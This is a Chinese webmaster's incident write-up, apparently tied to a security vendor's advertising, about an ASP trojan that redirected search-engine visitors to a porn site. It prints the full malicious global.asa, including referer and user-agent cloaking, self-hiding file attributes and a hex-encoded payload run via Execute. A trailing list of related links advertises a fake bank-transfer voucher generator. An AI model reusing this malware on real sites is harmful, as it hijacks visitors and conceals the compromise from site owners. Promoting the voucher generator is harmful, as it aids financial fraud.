网站被挂马实用如何解决的办法

简介: 最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了黄色网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。

 最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了黄色网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。


 

百度的收录为基础


 

在百度Site下自己网站发现收录了许多色情类内容快照,什么电影,什么美女主播,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。

打开其中任意一个地址,直接跳转到了黄色网站上,网站地址是:http://mrr.8800.org/mm/

如下图:

 

问题慢慢浮出水面


 

首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括时时彩色情什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到黄色网站上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:


 

<script runat="server">

'网站全局文件


 

sub Application_OnStart

end sub


 

sub Application_OnEnd

end sub


 

Public Function GetHtml(url)

       Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

       ObjXMLHTTP.Open "GET",url,False

       ObjXMLHTTP.setRequestHeader "User-Agent",url

       ObjXMLHTTP.send

       GetHtml=ObjXMLHTTP.responseBody

       Set ObjXMLHTTP=Nothing

       set objStream = Server.CreateObject("Adodb.Stream")

       objStream.Type = 1

       objStream.Mode =3

       objStream.Open

       objStream.Write GetHtml

       objStream.Position = 0

       objStream.Type = 2

       objStream.Charset = "gb2312"

       GetHtml = objStream.ReadText

       objStream.Close

End Function


 

Function check(user_agent)

    allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

    check_agent=false

    For agenti=lbound(allow_agent) to ubound(allow_agent)

        If instr(user_agent,allow_agent(agenti))>0 then

            check_agent=true

            exit for

        end if

    Next

    check=check_agent

End function


 

Function CheckRefresh()

       CheckRefresh = False

       Dim Botlist,i,Repls

       Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

       Botlist = Split(Krobotlist,"|")

       For i = 0 To Ubound(Botlist)

         If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

              CheckRefresh = True

              Exit For

         End If

       Next

End Function

sub Session_OnStart

       On Error Resume Next

      .servervariables("Path_Translated")

       Set s=Server.CreateObject("scripting.filesystemobject")

       set f=s.Getfile("//./" & Server.MapPath("/global.asa"))

       v=Request.Form&Request.QueryString

       if instr(v,".asa")>0 then

       f.Attributes=39

       response.end()

       end if

       if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then

       s.Getfile(name).Attributes=0

       s.DeleteFile(name)

       f.Attributes=39

       response.end()

       end if

       S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o

end sub

看了这些代码我都有点懵圈了。

Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo" 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。


 

还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。


 

既然根源找到,解决游刃有余

 

把网站程序源码从空间下载了下来,放到sinesafe木马检测工具检测,又发现了许多木马文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在这里就不公布木马代码了,废话不多讲,直接点击清除木马,木马统统删除。ftp里删不掉的文件,找了空间商让他们在服务器里直接删除清空了目录。 最后一步就是要把网站的后台密码改掉,去年的csdn密码泄密事件搞的真让人担心,之前我是吃过亏,csdn密码和我的邮箱密码都用的一样的,导致我邮箱被盗,支付宝都被提现了,这亏吃的我是一辈子都记得,一朝被蛇咬十年怕井绳啊!


 

密码改掉后数据库的地址也要改掉,然后把清除木马的网站文件重新备份了一边,重新上传到空间,网站访问正常,之前被黑客攻击留下的百度痕迹需要到百度投诉中心提交一下,把网站被黑的原因写上,等百度的更新期,问题才得以解决.


 

一路的走来,非常的艰辛,经历才是最宝贵的,也希望上面的解决经历能够帮到更多需要帮助的人。每个站长的经历都不一样,都能无私共享一下,那么,我们站长的路会走的更远!

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.
相关文章
|
机器学习/深度学习 算法 Python
机器学习:归一化
这段内容主要讨论了归一化的目的和两种类型的归一化方法。归一化是为了确保在梯度下降过程中,不同维度的参数以相似的幅度调整,避免因数据尺度差异导致的优化问题。文中提到了最大值最小值归一化和标准归一化,后者更不易受到离群值的影响,并且可以使数据符合正态分布。通过Python代码示例展示了如何使用`StandardScaler`进行标准归一化。
484 2
|
缓存 中间件 API
【利用AI让知识体系化】入门Egg框架(含实战)(三)
【利用AI让知识体系化】入门Egg框架(含实战)
|
SQL 存储 大数据
【大数据技术Hadoop+Spark】Hive基础SQL语法DDL、DML、DQL讲解及演示(附SQL语句)
【大数据技术Hadoop+Spark】Hive基础SQL语法DDL、DML、DQL讲解及演示(附SQL语句)
510 0
|
3月前
|
安全 测试技术 开发者
银行转账模拟器手机版app, 银行转账凭证生成器app,用autojs实现效果【逼真效果】
本内容展示了一套基于Auto.js的银行APP自动化测试脚本和框架,用于学习和研究移动应用测试技术。脚本涵盖登录、转账等功能测试
|
人工智能 关系型数据库 MySQL
基于阿里云的PolarDB MySQL版实现AI增强数据管理
本文将介绍如何利用阿里云的PolarDB MySQL版结合AI技术,实现数据管理的自动化和智能化。
909 0
|
8月前
|
人工智能 自然语言处理 算法
大模型备案、登记全流程攻略
在AI浪潮下,大模型技术迅猛发展,为各行业带来变革。为确保算法安全有序发展,需进行相关备案登记。具体包括:大模型备案(面向公众提供生成式服务)、大模型登记(借助第三方大模型)、算法备案(5类算法)及双新评估(舆论属性服务)。未及时备案将面临法律处罚,备案流程涉及属地初审、中央终审等环节,周期约3-4个月。境外模型和特定行业有额外限制,备案后仍需常态化安全管理。
|
7月前
“可以成为我的恋人吗”HTML源码
“可以成为我的恋人吗”HTML源码,双击html文件可以本地运行,打开HTML页面,上面显示可以或者不要,越是拒绝,可以的按钮就会越来越大,直到点击可以为止
879 0
“可以成为我的恋人吗”HTML源码
|
11月前
|
Python
manim边学边做--形状匹配
【10月更文挑战第2天】在使用Manim进行形状匹配时,需先安装Manim并通过运行简单示例验证。Manim的基本概念包括场景(Stage)、图形(Mobjects)和动画(Animations)。创建形状匹配场景需定义新场景类,并在其中添加形状及变换动画。最后运行场景即可生成从正方形渐变为圆形的动画,适合边学边做。
219 1
|
11月前
|
Web App开发 缓存 网络协议
不为人知的网络编程(十八):UDP比TCP高效?还真不一定!
熟悉网络编程的(尤其搞实时音视频聊天技术的)同学们都有个约定俗成的主观论调,一提起UDP和TCP,马上想到的是UDP没有TCP可靠,但UDP肯定比TCP高效。说到UDP比TCP高效,理由是什么呢?事实真是这样吗?跟着本文咱们一探究竟!
305 10